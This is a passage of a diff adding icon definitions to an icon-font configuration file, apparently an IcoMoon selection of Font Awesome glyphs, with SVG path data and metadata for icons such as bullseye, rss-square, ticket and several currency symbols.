164-365.714 365.714 164 365.714 365.714 365.714 365.714-164 365.714-365.714zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bullseye" + ], + "defaultCode": 61760, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bullseye", + "id": 286, + "order": 1142, + "prevSize": 28, + "code": 61760 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 286 + }, + { + "icon": { + "paths": [ + "M219.429 420.571v109.714c0 30.286-24.571 54.857-54.857 54.857h-109.714c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h109.714c30.286 0 54.857 24.571 54.857 54.857zM512 420.571v109.714c0 30.286-24.571 54.857-54.857 54.857h-109.714c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h109.714c30.286 0 54.857 24.571 54.857 54.857zM804.571 420.571v109.714c0 30.286-24.571 54.857-54.857 54.857h-109.714c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h109.714c30.286 0 54.857 24.571 54.857 54.857z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ellipsis-h" + ], + "defaultCode": 61761, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "ellipsis-h", + "id": 287, + "order": 1143, + "prevSize": 28, + "code": 61761 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 287 + }, + { + "icon": { + "paths": [ + "M219.429 713.143v109.714c0 30.286-24.571 54.857-54.857 54.857h-109.714c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h109.714c30.286 0 54.857 24.571 54.857 54.857zM219.429 420.571v109.714c0 30.286-24.571 54.857-54.857 54.857h-109.714c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h109.714c30.286 0 54.857 24.571 54.857 54.857zM219.429 128v109.714c0 30.286-24.571 54.857-54.857 54.857h-109.714c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h109.714c30.286 0 54.857 24.571 54.857 54.857z" + ], + "width": 219.42857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ellipsis-v" + ], + "defaultCode": 61762, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "ellipsis-v", + "id": 288, + "order": 1144, + "prevSize": 28, + "code": 61762 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 288 + }, + { + "icon": { + "paths": [ + "M292.571 731.429c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM493.143 785.143c-9.714-177.143-150.286-317.714-327.429-327.429-5.143-0.571-10.286 1.714-13.714 5.143s-5.714 8-5.714 13.143v73.143c0 9.714 7.429 17.714 17.143 18.286 117.143 8.571 211.429 102.857 220 220 0.571 9.714 8.571 17.143 18.286 17.143h73.143c5.143 0 9.714-2.286 13.143-5.714s5.714-8.571 5.143-13.714zM712.571 785.714c-9.714-297.143-250.286-537.714-547.429-547.429-5.714-0.571-9.714 1.143-13.143 5.143-3.429 3.429-5.714 8-5.714 13.143v73.143c0 9.714 8 17.714 17.714 18.286 237.143 8.571 430.286 201.714 438.857 438.857 0.571 9.714 8.571 17.714 18.286 17.714h73.143c5.143 0 9.714-2.286 13.143-5.714 4-3.429 5.714-8 5.143-13.143zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "rss-square" + ], + "defaultCode": 61763, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "rss-square", + "id": 289, + "order": 1145, + "prevSize": 28, + "code": 61763 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 289 + }, + { + "icon": { + "paths": [ + "M438.857 73.143c242.286 0 438.857 196.571 438.857 438.857s-196.571 438.857-438.857 438.857-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857zM658.286 543.429c11.429-6.286 18.286-18.286 18.286-31.429s-6.857-25.143-18.286-31.429l-310.857-182.857c-10.857-6.857-25.143-6.857-36.571-0.571-11.429 6.857-18.286 18.857-18.286 32v365.714c0 13.143 6.857 25.143 18.286 32 5.714 2.857 12 4.571 18.286 4.571s12.571-1.714 18.286-5.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "play-circle" + ], + "defaultCode": 61764, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "play-circle", + "id": 290, + "order": 1146, + "prevSize": 28, + "code": 61764 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 290 + }, + { + "icon": { + "paths": [ + "M585.143 258.286l180.571 180.571-326.857 326.857-180.571-180.571zM464.571 817.714l353.143-353.143c14.286-14.286 14.286-37.143 0-51.429l-206.857-206.857c-13.714-13.714-37.714-13.714-51.429 0l-353.143 353.143c-14.286 14.286-14.286 37.143 0 51.429l206.857 206.857c6.857 6.857 16 10.286 25.714 10.286s18.857-3.429 25.714-10.286zM972.571 453.714l-518.286 518.857c-28.571 28-75.429 28-103.429 0l-72-72c42.857-42.857 42.857-112.571 0-155.429s-112.571-42.857-155.429 0l-71.429-72c-28.571-28-28.571-74.857 0-103.429l518.286-517.714c28-28.571 74.857-28.571 103.429 0l71.429 71.429c-42.857 42.857-42.857 112.571 0 155.429s112.571 42.857 155.429 0l72 71.429c28 28.571 28 75.429 0 103.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ticket" + ], + "defaultCode": 61765, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "ticket", + "id": 291, + "order": 1147, + "prevSize": 28, + "code": 61765 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 291 + }, + { + "icon": { + "paths": [ + "M731.429 548.571v-73.143c0-20-16.571-36.571-36.571-36.571h-512c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h512c20 0 36.571-16.571 36.571-36.571zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "minus-square" + ], + "defaultCode": 61766, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "minus-square", + "id": 292, + "order": 1148, + "prevSize": 28, + "code": 61766 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 292 + }, + { + "icon": { + "paths": [ + "M658.286 457.143v36.571c0 10.286-8 18.286-18.286 18.286h-475.429c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h475.429c10.286 0 18.286 8 18.286 18.286zM731.429 713.143v-475.429c0-50.286-41.143-91.429-91.429-91.429h-475.429c-50.286 0-91.429 41.143-91.429 91.429v475.429c0 50.286 41.143 91.429 91.429 91.429h475.429c50.286 0 91.429-41.143 91.429-91.429zM804.571 237.714v475.429c0 90.857-73.714 164.571-164.571 164.571h-475.429c-90.857 0-164.571-73.714-164.571-164.571v-475.429c0-90.857 73.714-164.571 164.571-164.571h475.429c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "minus-square-o" + ], + "defaultCode": 61767, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "minus-square-o", + "id": 293, + "order": 1149, + "prevSize": 28, + "code": 61767 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 293 + }, + { + "icon": { + "paths": [ + "M581.714 344.571c-6.286 13.143-18.857 21.143-33.143 21.143h-109.714v493.714c0 10.286-8 18.286-18.286 18.286h-402.286c-6.857 0-13.714-4-16.571-10.286-2.857-6.857-2.286-14.286 2.286-20l91.429-109.714c3.429-4 9.143-6.286 14.286-6.286h182.857v-365.714h-109.714c-14.286 0-26.857-8-33.143-21.143-5.714-12.571-4-28 5.143-38.857l182.857-219.429c13.714-16.571 42.286-16.571 56 0l182.857 219.429c9.143 10.857 11.429 26.286 5.143 38.857z" + ], + "width": 586.8251428571429, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "level-up" + ], + "defaultCode": 61768, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "level-up", + "id": 294, + "order": 1150, + "prevSize": 28, + "code": 61768 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 294 + }, + { + "icon": { + "paths": [ + "M18.286 146.286h402.286c10.286 0 18.286 8.571 18.286 18.857v493.143h109.714c14.286 0 26.857 8.571 33.143 21.143 6.286 13.143 4 28.571-5.143 39.429l-182.857 219.429c-13.714 16.571-42.286 16.571-56 0l-182.857-219.429c-9.143-10.857-10.857-26.286-5.143-39.429 6.286-12.571 18.857-21.143 33.143-21.143h109.714v-365.714h-182.857c-5.143 0-10.286-2.286-14.286-6.286l-91.429-109.714c-4.571-5.143-5.143-13.143-2.286-19.429s9.714-10.857 16.571-10.857z" + ], + "width": 586.8251428571429, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "level-down" + ], + "defaultCode": 61769, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "level-down", + "id": 295, + "order": 1151, + "prevSize": 28, + "code": 61769 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 295 + }, + { + "icon": { + "paths": [ + "M391.429 742.286l350.857-350.857c14.286-14.286 14.286-37.143 0-51.429l-58.286-58.286c-14.286-14.286-37.143-14.286-51.429 0l-266.857 266.857-120.571-120.571c-14.286-14.286-37.143-14.286-51.429 0l-58.286 58.286c-14.286 14.286-14.286 37.143 0 51.429l204.571 204.571c14.286 14.286 37.143 14.286 51.429 0zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "check-square" + ], + "defaultCode": 61770, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "check-square", + "id": 296, + "order": 1152, + "prevSize": 28, + "code": 61770 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 296 + }, + { + "icon": { + "paths": [ + "M230.857 633.143l86.857 86.857-29.714 29.714h-32v-54.857h-54.857v-32zM467.429 410.286c4.571 4 3.429 12-1.714 17.143l-166.286 166.286c-5.143 5.143-13.143 6.286-17.143 1.714-4.571-4-3.429-12 1.714-17.143l166.286-166.286c5.143-5.143 13.143-6.286 17.143-1.714zM310.857 804.571l310.857-310.857-164.571-164.571-310.857 310.857v164.571h164.571zM658.286 457.143l52.571-52.571c21.143-21.143 21.143-56.571 0-77.714l-86.857-86.857c-21.143-21.143-56.571-21.143-77.714 0l-52.571 52.571zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pencil-square" + ], + "defaultCode": 61771, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pencil-square", + "id": 297, + "order": 1153, + "prevSize": 28, + "code": 61771 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 297 + }, + { + "icon": { + "paths": [ + "M731.429 530.286v-274.286c0-20-16.571-36.571-36.571-36.571h-274.286c-14.857 0-28 9.143-33.714 22.286-5.714 13.714-2.857 29.714 8 40l82.286 82.286-305.143 305.143c-14.286 14.286-14.286 37.143 0 51.429l58.286 58.286c14.286 14.286 37.143 14.286 51.429 0l305.143-305.143 82.286 82.286c6.857 7.429 16 10.857 25.714 10.857 4.571 0 9.714-1.143 14.286-2.857 13.143-5.714 22.286-18.857 22.286-33.714zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "external-link-square" + ], + "defaultCode": 61772, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "external-link-square", + "id": 298, + "order": 1154, + "prevSize": 28, + "code": 61772 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 298 + }, + { + "icon": { + "paths": [ + "M574.286 629.143l201.143-201.143c14.286-14.286 14.286-37.143 0-51.429l-201.143-201.143c-10.286-10.857-26.286-13.714-39.429-8-13.714 5.714-22.857 18.857-22.857 33.714v91.429c-328 0-365.714 188-365.714 329.143 0 114.857 92 226.286 95.429 230.857 4 4.571 9.143 6.857 14.286 6.857 2.286 0 5.143-0.571 7.429-1.714 7.429-2.857 12-10.857 10.857-18.857-17.143-137.714-6.286-223.429 35.429-270.286 34.857-39.429 95.429-56.571 202.286-56.571v91.429c0 14.857 9.143 28 22.857 33.714 4 1.714 9.143 2.857 13.714 2.857 9.714 0 18.857-4 25.714-10.857zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "share-square" + ], + "defaultCode": 61773, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "share-square", + "id": 299, + "order": 1155, + "prevSize": 28, + "code": 61773 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 299 + }, + { + "icon": { + "paths": [ + "M365.714 621.714l146.286-73.143-146.286-73.143v146.286zM585.143 284v309.714l-292.571 146.286v-309.714zM749.714 512c0-171.429-139.429-310.857-310.857-310.857s-310.857 139.429-310.857 310.857 139.429 310.857 310.857 310.857 310.857-139.429 310.857-310.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "compass" + ], + "defaultCode": 61774, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "compass", + "id": 300, + "order": 1156, + "prevSize": 28, + "code": 61774 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 300 + }, + { + "icon": { + "paths": [ + "M654.286 385.714c6.286 12 5.143 26.857-2.857 37.714l-182.857 256c-6.857 9.714-17.714 15.429-29.714 15.429s-22.857-5.714-29.714-15.429l-182.857-256c-8-10.857-9.143-25.714-2.857-37.714 6.286-12.571 18.857-20 32.571-20h365.714c13.714 0 26.286 7.429 32.571 20zM731.429 786.286v-548.571c0-9.714-8.571-18.286-18.286-18.286h-548.571c-9.714 0-18.286 8.571-18.286 18.286v548.571c0 9.714 8.571 18.286 18.286 18.286h548.571c9.714 0 18.286-8.571 18.286-18.286zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "caret-square-o-down", + "toggle-down" + ], + "defaultCode": 61776, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "caret-square-o-down, toggle-down", + "id": 301, + "order": 1157, + "prevSize": 28, + "code": 61776 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 301 + }, + { + "icon": { + "paths": [ + "M654.286 638.286c-6.286 12.571-18.857 20-32.571 20h-365.714c-13.714 0-26.286-7.429-32.571-20-6.286-12-5.143-26.857 2.857-37.714l182.857-256c6.857-9.714 17.714-15.429 29.714-15.429s22.857 5.714 29.714 15.429l182.857 256c8 10.857 9.143 25.714 2.857 37.714zM731.429 786.286v-548.571c0-9.714-8.571-18.286-18.286-18.286h-548.571c-9.714 0-18.286 8.571-18.286 18.286v548.571c0 9.714 8.571 18.286 18.286 18.286h548.571c9.714 0 18.286-8.571 18.286-18.286zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "caret-square-o-up", + "toggle-up" + ], + "defaultCode": 61777, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "caret-square-o-up, toggle-up", + "id": 302, + "order": 1158, + "prevSize": 28, + "code": 61777 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 302 + }, + { + "icon": { + "paths": [ + "M621.714 512c0 12-5.714 22.857-15.429 29.714l-256 182.857c-10.857 8-25.714 9.143-37.714 2.857-12.571-6.286-20-18.857-20-32.571v-365.714c0-13.714 7.429-26.286 20-32.571 12-6.286 26.857-5.143 37.714 2.857l256 182.857c9.714 6.857 15.429 17.714 15.429 29.714zM731.429 786.286v-548.571c0-10.286-8-18.286-18.286-18.286h-548.571c-10.286 0-18.286 8-18.286 18.286v548.571c0 10.286 8 18.286 18.286 18.286h548.571c10.286 0 18.286-8 18.286-18.286zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "caret-square-o-right", + "toggle-right" + ], + "defaultCode": 61778, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "caret-square-o-right, toggle-right", + "id": 303, + "order": 1159, + "prevSize": 28, + "code": 61778 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 303 + }, + { + "icon": { + "paths": [ + "M557.714 746.857l20 90.857c2.286 9.143-2.857 18.286-11.429 21.143-2.286 0.571-55.429 18.857-124 18.857-178.286 0-321.714-107.429-369.714-275.429h-54.286c-10.286 0-18.286-8.571-18.286-18.286v-64.571c0-9.714 8-18.286 18.286-18.286h37.714c-0.571-18.286-0.571-40 0.571-60h-38.286c-10.286 0-18.286-8-18.286-18.286v-65.143c0-10.286 8-18.286 18.286-18.286h56c50.857-160 197.143-266.286 368-266.286 59.429 0 108.571 12.571 110.857 13.143 4.571 1.143 8.571 4.571 11.429 8.571 2.286 4 2.857 9.143 1.714 13.714l-24.571 90.857c-2.286 9.714-12 15.429-21.714 12.571-0.571 0-39.429-9.714-80-9.714-96 0-176.571 52-214.857 137.143h267.429c5.714 0 10.857 2.286 14.286 6.857 3.429 4 5.143 9.714 4 14.857l-13.714 65.143c-1.714 8.571-9.143 14.857-18.286 14.857h-278.857c-1.714 18.286-1.143 37.714 0 60h262.286c5.714 0 10.857 2.857 14.286 6.857 3.429 4.571 4.571 10.286 3.429 15.429l-13.714 64c-1.714 8.571-9.143 14.857-17.714 14.857h-221.143c36.571 89.143 118.857 145.143 216 145.143 49.714 0 90.286-13.714 90.857-13.714 4.571-1.714 10.286-1.143 14.857 1.143 4.571 2.857 7.429 7.429 8.571 12z" + ], + "width": 580.0228571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "eur", + "euro" + ], + "defaultCode": 61779, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "eur, euro", + "id": 304, + "order": 1160, + "prevSize": 28, + "code": 61779 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 304 + }, + { + "icon": { + "paths": [ + "M582.857 649.714v209.714c0 10.286-8 18.286-18.286 18.286h-546.286c-10.286 0-18.286-8-18.286-18.286v-85.714c0-9.714 8-18.286 18.286-18.286h55.429v-218.857h-54.286c-10.286 0-18.286-8-18.286-18.286v-74.857c0-10.286 8-18.286 18.286-18.286h54.286v-127.429c0-130.286 105.143-224.571 250.286-224.571 114.286 0 188 68.571 191.429 71.429 6.857 6.286 7.429 17.143 1.714 24.571l-58.857 72.571c-3.429 4-7.429 6.286-12.571 6.857-4.571 0.571-9.714-1.143-13.143-4-0.571-0.571-49.714-39.429-107.429-39.429-64.571 0-108 38.857-108 97.143v122.857h174.286c10.286 0 18.286 8 18.286 18.286v74.857c0 10.286-8 18.286-18.286 18.286h-174.286v216.571h236.571v-103.429c0-10.286 8-18.286 18.286-18.286h92.571c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 582.8754285714285, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "gbp" + ], + "defaultCode": 61780, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "gbp", + "id": 305, + "order": 1161, + "prevSize": 28, + "code": 61780 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 305 + }, + { + "icon": { + "paths": [ + "M558.857 677.143c0 116.571-83.429 208.571-204.571 228.571v100c0 10.286-8 18.286-18.286 18.286h-77.143c-9.714 0-18.286-8-18.286-18.286v-100c-133.714-18.857-206.857-98.857-209.714-102.286-5.714-6.857-6.286-16.571-1.143-23.429l58.857-77.143c2.857-4 8-6.286 13.143-6.857s10.286 1.143 13.714 5.143c1.143 0.571 81.143 77.143 182.286 77.143 56 0 116.571-29.714 116.571-94.286 0-54.857-67.429-81.714-144.571-112.571-102.857-40.571-230.857-92-230.857-235.429 0-105.143 82.286-192 201.714-214.857v-102.857c0-10.286 8.571-18.286 18.286-18.286h77.143c10.286 0 18.286 8 18.286 18.286v100.571c116 13.143 177.714 76 180 78.286 5.714 6.286 6.857 14.857 2.857 21.714l-46.286 83.429c-2.857 5.143-7.429 8.571-13.143 9.143-5.714 1.143-10.857-0.571-15.429-4-0.571-0.571-69.714-61.714-155.429-61.714-72.571 0-122.857 36-122.857 88 0 60.571 69.714 87.429 150.857 118.857 105.143 40.571 224 86.857 224 224.571z" + ], + "width": 583.4605714285714, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dollar", + "usd" + ], + "defaultCode": 61781, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "dollar, usd", + "id": 306, + "order": 1162, + "prevSize": 28, + "code": 61781 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 306 + }, + { + "icon": { + "paths": [ + "M513.143 268.571v58.286c0 10.286-8 18.286-18.286 18.286h-96c-17.714 109.714-101.714 181.143-231.429 196.571 85.143 90.857 176 200.571 262.286 306.286 4.571 5.143 5.714 13.143 2.286 19.429-2.857 6.286-9.143 10.286-16.571 10.286h-111.429c-5.714 0-10.857-2.286-14.286-6.857-92-110.286-176.571-211.429-284.571-326.286-3.429-3.429-5.143-8-5.143-12.571v-72.571c0-9.714 8-18.286 18.286-18.286h64c100.571 0 163.429-33.714 180-96h-244c-10.286 0-18.286-8-18.286-18.286v-58.286c0-10.286 8-18.286 18.286-18.286h236c-21.714-42.857-73.143-64.571-153.143-64.571h-82.857c-10.286 0-18.286-8.571-18.286-18.286v-76c0-10.286 8-18.286 18.286-18.286h475.429c10.286 0 18.286 8 18.286 18.286v58.286c0 10.286-8 18.286-18.286 18.286h-133.143c18.286 23.429 30.286 50.857 36.571 82.286h97.714c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 513.1702857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "inr", + "rupee" + ], + "defaultCode": 61782, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "inr, rupee", + "id": 307, + "order": 1163, + "prevSize": 28, + "code": 61782 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 307 + }, + { + "icon": { + "paths": [ + "M344.571 877.714h-98.286c-10.286 0-18.286-8-18.286-18.286v-188.571h-164.571c-10.286 0-18.286-8-18.286-18.286v-58.857c0-10.286 8-18.286 18.286-18.286h164.571v-48.571h-164.571c-10.286 0-18.286-8-18.286-18.286v-59.429c0-9.714 8-18.286 18.286-18.286h122.286l-183.429-330.286c-2.857-5.714-2.857-12.571 0-18.286 3.429-5.714 9.714-9.143 16-9.143h110.857c6.857 0 13.143 4 16.571 10.286l122.857 242.857c13.714 26.857 22.857 49.714 32 71.429 9.714-24.571 22.286-48.571 33.143-73.714l109.143-240c2.857-6.857 9.714-10.857 16.571-10.857h109.143c6.286 0 12 3.429 15.429 9.143 3.429 5.143 3.429 12 0.571 17.714l-178.857 330.857h122.857c10.286 0 18.286 8.571 18.286 18.286v59.429c0 10.286-8 18.286-18.286 18.286h-165.714v48.571h165.714c10.286 0 18.286 8 18.286 18.286v58.857c0 10.286-8 18.286-18.286 18.286h-165.714v188.571c0 10.286-8.571 18.286-18.286 18.286z" + ], + "width": 586.8251428571429, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cny", + "jpy", + "rmb", + "yen" + ], + "defaultCode": 61783, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cny, jpy, rmb, yen", + "id": 308, + "order": 1164, + "prevSize": 28, + "code": 61783 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 308 + }, + { + "icon": { + "paths": [ + "M596 322.857c0-76.571-54.286-128-134.857-128h-182.857v256h182.857c80.571 0 134.857-51.429 134.857-128zM731.429 322.857c0 146.857-106.286 249.714-258.857 249.714h-194.286v67.429h288.571c10.286 0 18.286 8 18.286 18.286v73.143c0 10.286-8 18.286-18.286 18.286h-288.571v109.714c0 10.286-8 18.286-18.286 18.286h-95.429c-10.286 0-18.286-8-18.286-18.286v-109.714h-128c-10.286 0-18.286-8-18.286-18.286v-73.143c0-10.286 8-18.286 18.286-18.286h128v-67.429h-128c-10.286 0-18.286-8-18.286-18.286v-85.143c0-10.286 8-18.286 18.286-18.286h128v-359.429c0-10.286 8-18.286 18.286-18.286h308c152.571 0 258.857 102.857 258.857 249.714z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "rouble", + "rub", + "ruble" + ], + "defaultCode": 61784, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "rouble, rub, ruble", + "id": 309, + "order": 1165, + "prevSize": 28, + "code": 61784 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 309 + }, + { + "icon": { + "paths": [ + "M293.714 682.857l46.286-170.857h-90.857l42.857 171.429c0.571 1.143 0.571 2.286 1.143 3.429 0-1.143 0.571-2.857 0.571-4zM360 438.857l20-73.143h-166.857l18.286 73.143h128.571zM469.714 438.857h79.429l-20-73.143h-40zM726.286 683.429l44.571-171.429h-92.571l46.286 170.857c0.571 1.714 0.571 2.857 1.143 4 0-1.143 0.571-2.286 0.571-3.429zM789.714 438.857l18.857-73.143h-169.714l19.429 73.143h131.429zM1024 457.143v36.571c0 10.286-8 18.286-18.286 18.286h-121.714l-93.714 352c-2.286 8-9.714 13.714-17.714 13.714h-90.857c-8 0-15.429-5.714-17.714-13.714l-94.857-352h-119.429l-95.429 352c-2.286 8-9.143 13.714-17.714 13.714h-90.857c-8 0-15.429-5.714-17.143-13.714l-91.429-352h-118.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h100l-18.857-73.143h-81.143c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h62.286l-50.857-196.571c-1.714-5.714-0.571-11.429 2.857-16 3.429-4 9.143-6.857 14.857-6.857h78.286c8.571 0 16 5.714 17.714 13.714l51.429 205.714h205.143l55.429-205.714c2.286-8 9.714-13.714 17.714-13.714h72c8.571 0 15.429 5.714 17.714 13.714l56 205.714h208.571l53.143-205.714c1.714-8 9.143-13.714 17.714-13.714h78.286c5.714 0 11.429 2.857 14.857 6.857 3.429 4.571 4.571 10.857 2.857 16l-52 196.571h63.429c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-82.857l-19.429 73.143h102.286c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "krw", + "won" + ], + "defaultCode": 61785, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "krw, won", + "id": 310, + "order": 1166, + "prevSize": 28, + "code": 61785 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 310 + }, + { + "icon": { + "paths": [ + "M666.857 365.714c7.429 76-24.571 121.714-74.857 147.429 83.429 20 136 69.714 125.714 181.143-13.143 138.857-116 176-263.429 184v145.714h-88v-143.429c-22.286 0-45.714 0-69.714-0.571v144h-88v-145.714c-20.571 0-41.143-0.571-62.286-0.571h-114.286l17.714-104.571c64.571 1.143 63.429 0 63.429 0 24.571 0 31.429-17.714 